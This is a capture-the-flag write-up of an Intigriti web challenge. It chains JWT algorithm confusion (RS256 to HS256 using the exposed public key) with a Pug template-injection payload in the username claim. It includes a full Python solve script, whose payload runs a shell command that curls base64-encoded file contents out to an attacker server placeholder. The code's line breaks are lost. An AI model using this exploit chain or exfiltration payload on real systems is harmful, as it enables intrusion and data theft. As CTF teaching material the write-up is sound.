People are always complaining that there's not enough cat pictures on the internet.. Something must be done!!
Solution
Players open the website to some random cute cats.
j/k they are my cute cats 🥰
We can create an account and login, to view more pics.
Not much interesting to note, except perhaps that our username is reflected back to use. Let's check the downloadable source code.
We'll see a sanitizer.js, which sounds interesting. It prevents us from entering non-alphanumeric characters in the username.
function sanitizeUsername(username){ const usernameRegex = /^[a-zA-Z0-9]+$/;if (!usernameRegex.test(username)) { throw new BadRequest("Username can only contain letters and numbers.");}return username;}
Let's check the code where the username is reflected on the page.
The none algorithm is blocked, so we can't remove the signature verification but how about algorithm confusion? If we can change the token from RS256 (asymmetric) to HS256 (symmetric) and then sign with the public key, the server will use the same key to verify the signature ðŸ§
You can do this with the JWT tool, or one of the JWT extension in burp. I made a video series covering the JWT attack material and labs from Portswigger, over on the Intigriti channel if you are interested 🙂
The public key is exposed on the common /jwks.json endpoint.
All that's left is to modify our username with a Pug SSTI payload, e.g. from PayloadsAllTheThings
I automated the whole process with detailed comments explaining each step. You just need to update the BASE_URL, JWT_TOOL_PATH and the ATTACKER_SERVER in the SSTI_PAYLOAD.
solve.py
import requestsimport subprocessfrom base64 import urlsafe_b64decodefrom Crypto.PublicKey import RSA# Constants for challengeBASE_URL ='https://catclub-0.ctf.intigriti.io'REGISTER_URL =f'{BASE_URL}/register'LOGIN_URL =f'{BASE_URL}/login'JWK_URL =f'{BASE_URL}/jwks.json'CAT_URL =f'{BASE_URL}/cats'JWT_TOOL_PATH =f'/home/crystal/apps/jwt_tool'SSTI_PAYLOAD ="#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad('child_process').exec('curl https://ATTACKER_SERVER/?flag=$(cat /flag* | base64)')}()}"defbase64url_decode(data):returnurlsafe_b64decode(data +b'='* (-len(data) %4))# Register a new userdefregister_user(username,password):print(f"[*] Attempting to register user: {username}") response = requests.post( REGISTER_URL, data={"username": username, "password": password})if response.status_code ==200:print(f"[*] Registered user: {username}")else:print(f"[!] Failed to register user: {response.text}")return response.status_code ==200# Login to get JWTdeflogin_user(username,password): session = requests.Session()print(f"[*] Attempting to login user: {username}") response = session.post( LOGIN_URL, data={"username": username, "password": password})if response.status_code ==303: response = session.get(BASE_URL) token = session.cookies.get("token")if token:print(f"[*] Retrieved JWT: {token}")else:print(f"[!] Failed to retrieve JWT")return token# Download the JWK (public key)defdownload_jwk():print(f"[*] Attempting to download JWK...") response = requests.get(JWK_URL)if response.status_code ==200:print("[*] JWK download successful")print(f"[*] JWK Response: {response.json()}")return response.json()['keys'][0]else:print(f"[!] Failed to download JWK: {response.text}")returnNone# Recreate the RSA public key from JWK components (n and e) and save it to a filedefrsa_public_key_from_jwk(jwk):print(f"[*] Recreating RSA Public Key from JWK...") n =base64url_decode(jwk['n'].encode('utf-8')) e =base64url_decode(jwk['e'].encode('utf-8')) n_int =int.from_bytes(n, 'big') e_int =int.from_bytes(e, 'big') rsa_key = RSA.construct((n_int, e_int)) public_key_pem = rsa_key.export_key('PEM')# Save the public key to a file with a newline at the endwithopen("recovered_public.key", "wb")as f: f.write(public_key_pem)ifnot public_key_pem.endswith(b'\n'): f.write(b"\n")print(f"[*] Recreated RSA Public Key saved to 'recovered_public.key':\n{public_key_pem.decode()}")return# Tamper JWT with jwt_tooldefmodify_jwt_with_tool(token):print(f"[*] Modifying JWT with jwt_tool...") command = ["python",f"{JWT_TOOL_PATH}/jwt_tool.py", token,"-X","k","-pk","./recovered_public.key","-I","-pc","username","-pv", SSTI_PAYLOAD ]# Run jwt_tool and capture the output result = subprocess.run(command, capture_output=True, text=True)# Extract the modified token from jwt_tool outputfor line in result.stdout.splitlines():if line.startswith("[+] "): modified_token = line.split(" ")[1].strip()print(f"[*] Modified JWT: {modified_token}")return modified_tokenprint(f"[!] Modified JWT not found in jwt_tool output")returnNone# Test SSTI injectiondeftest_ssti(modified_token): cookies ={'token': modified_token}print(f"[*] Sending modified JWT in cookies to test SSTI injection...") response = requests.get(CAT_URL, cookies=cookies)if response.status_code ==200:print("[*] SSTI payload executed successfully!")print(f"[*] Server response:\n{response.text}")else:print(f"[!] SSTI execution failed: {response.status_code} - {response.text}")defmain(): username ="cat" password ="cat"# Step 1: Register userifnotregister_user(username, password):print("[!] Failed to register user.")return# Step 2: Login and retrieve JWT jwt_token =login_user(username, password)ifnot jwt_token:print("[!] Failed to retrieve JWT.")return# Step 3: Download JWK (public key) jwk =download_jwk()ifnot jwk:print("[!] Failed to download JWK.")return# Step 4: Recreate public key PEM from JWKrsa_public_key_from_jwk(jwk)# Step 5: Modify JWT claim (inject payload) using jwt_tool modified_jwt =modify_jwt_with_tool(jwt_token)ifnot modified_jwt:print("[!] Failed to modify JWT using jwt_tool.")return# Step 6: Test SSTI injection by sending the modified JWTtest_ssti(modified_jwt)if__name__=="__main__":main()
The attacker server will receive a request containing the base64-encoded flag.